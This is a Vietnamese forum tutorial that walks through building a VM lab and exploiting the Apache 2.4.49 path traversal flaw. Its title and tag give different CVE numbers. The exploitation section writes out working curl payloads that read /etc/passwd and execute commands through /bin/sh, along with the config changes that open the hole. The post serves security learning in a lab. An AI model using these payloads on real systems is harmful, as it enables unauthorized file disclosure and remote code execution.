Hướng dẫn triển khai từng bước CVE-2021-41733

tuantran

Moderator
Thành viên BQT
27/04/2017
29
76 bài viết
Hướng dẫn triển khai từng bước CVE-2021-41733
Chào các bạn,

phần trước mình và các bạn đã cùng phân tích về CVE-2021-41733 trong Apache HTTP Server. Trong phần này chúng ta hãy cùng bắt tay vào từng bước để triển khai khai thác lỗ hổng này nhé.

1.png
Các thiết lập ban đầu
Các bước thực hiện thiết lập lab:

Bước 1: build và kết nối máy ảo (VM)
  • Đầu tiên là tải file .ISO của các máy ảo về và tùy thuộc vào từng phầm mềm ảo hóa mà chọn version (ở đây mình dùng vmware). Bạn có thể tải nó trực tiếp từ trang chủ.
  • Sau khi buid xong ta tiến hành cấu hình network để cho 2 máy có thể kết nối với nhau trong 1 mạng nội
  • Tại trang chủ chọn edit -> Virtual Network Editor
upload_2021-12-30_14-12-0.png

  • Chọn Change setting
upload_2021-12-30_14-12-0.png
  • Chọn Add Network
upload_2021-12-30_14-12-0.png
  • Chọn cấu hình mạng là Bridged -> Apply -> OK
upload_2021-12-30_14-12-0.png

OK vậy là xong cấu hình network.
  • Tiếp theo là trỏ 2 máy ảo vừa thiết lập đến mạng mình vừa tạo.
  • Edit Virtual Machine Setting -> Network Adapter -> Custom > Chọn VMNet2
upload_2021-12-30_14-12-0.png

Làm tương tự với máy Kali.
  • Bây giờ khởi động lại và kiểm tra nào.
  • Ubuntu
upload_2021-12-30_14-12-0.png

  • Kali:
upload_2021-12-30_14-12-0.png

Bước 2: Cấu hình và chạy Apache HTTP Server

Để cấu hình Apache thì có 2 cách để làm
  1. Login vào ubuntu rồi setting như bình thường
  2. Cách 2 là tạo 1 user ở ubuntu rồi từ kali ssh vào rồi cấu hình thôi.
Với mục tiêu là học hỏi được nhiều thứ và đa phần các VM trên internet đều cần phải remote để setting. Vì vậy mình chọn cách thứ 2 cho gần giống với thực tế nhất.

  • Trước tiên, ở đây mình tạo là spider và cài đặt đặt SSH. Vì cách tạo vs cài đặt SSH thông qua việc google nên mình sẽ không hướng dẫn chi tiết ở đây.
  • Sau khi cài đặt ssh thì kiểm tra lại xem ssh có chạy hay không?
Mã:
Systemctl status ssh
upload_2021-12-30_14-12-0.png

OK như thế đã chạy thành công
  • Bây giờ sang Kali nào. Ta SSH đến máy Ubuntu.
Mã:
Ssh username@IP_address

sau đó nhập mật khẩu của user.

upload_2021-12-30_14-12-0.png
  • Bây giờ tiến hành cài Apache thôi nào.
  • Do Apache phiên bản 2.4.49 không có sẵn nên mình cần download trước từ trang chủ Apache. Link ở trên nhé.
  • Sau khi tải về thì thực hiện giải nén và cấu hình đúng chuẩn như trên trang chủ Apache (http://httpd.apache.org/docs/2.4/install.html)
Chú ý trong quá trình cài thì đôi lúc sẽ xảy ra lỗi do thiếu thư viện thì chỉ cẩn copy lỗi đó ném vào anh google rồi làm theo mấy bác chỉ là đc.
  • Sau khi cài đặt xong xuôi thì thử chạy thôi nào.
Mã:
sudo ./apachectl -k start
upload_2021-12-30_14-12-0.png
  • À thêm cái này nữa. Thông thường khi bạn chơi tryhackme hay Hackthebox thì người ta lúc reverse shell được thì chỉ vào user là www-data. Thì đây mình chỉ luôn cách config dễ như việc người ta mua vé số mà ko trúng vậy đó.
  • Ta chỉ cần vào file httpd.conf còn nó full path thì là /usr/local/apache2/conf
  • Rồi sửa User vs Group thành www-data thôi.
upload_2021-12-30_14-12-0.png
  • Rồi bây giờ thoát khỏi ssh rồi kiểm tra lại xem apache chạy ok chưa nào
  • Từ kali gọi
    Mã:
    curl http://IP_Address
upload_2021-12-30_14-12-0.png
Như vậy là đã ok cho việc set up rồi. Tiếp theo thì mình thử khai thác thôi.

Khai thác.
  1. Path traversal và File disclosure
À mà quên để có thể khai thác được thì mình cần phải thêm 1 bước config nữa đó là cấu hình Directory directive

Cấu hình như sau: Tại file httpd.conf ->. Add Require all granted

upload_2021-12-30_14-12-0.png

Rồi restart lại service rồi khai thác thôi.

Từ máy Kali: ta đọc nội dung file /etc/passwd

Mã:
curl http://192.168.1.3/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

upload_2021-12-30_14-12-0.png

Vậy là chúng ta đã khai thác thành công.

Tiếp đến là RCE nào.

2. Path traversal to RCE

À mà lại quên để có thể RCE được thì lại thêm 1 cấu hình nữa như mình viết ở bài viết trước.
Đó là phải enable cái mod_cgi lên. Mình vào httpd.conf 1 lần nữa và cho cái này vào

upload_2021-12-30_14-12-0.png

Nhớ sau khi change xong thì phải restart lại nhé.
Bây giờ thử reverse shell thử nào.

Payload để reverse code executed là:

Mã:
curl http://192.168.1.3/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -v --data 'echo;whoami' -X POST

Đầu tiên ta sử dụng path traversal để truy cập vào thư viện sh, sau đó ta gửi command từ body của post request.

upload_2021-12-30_14-12-0.png

Ok, cuối cùng thì cũng RCE được rồi.

Và đến đây cũng xong phần demo rồi. Hy vọng các bạn thích bài này.

Bài này chỉ dùng cho mục đích học tập và rèn luyện thôi nhá .

Nguồn: Pentest Communty
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Thẻ
analytics cve-2021-41773 web security
Bên trên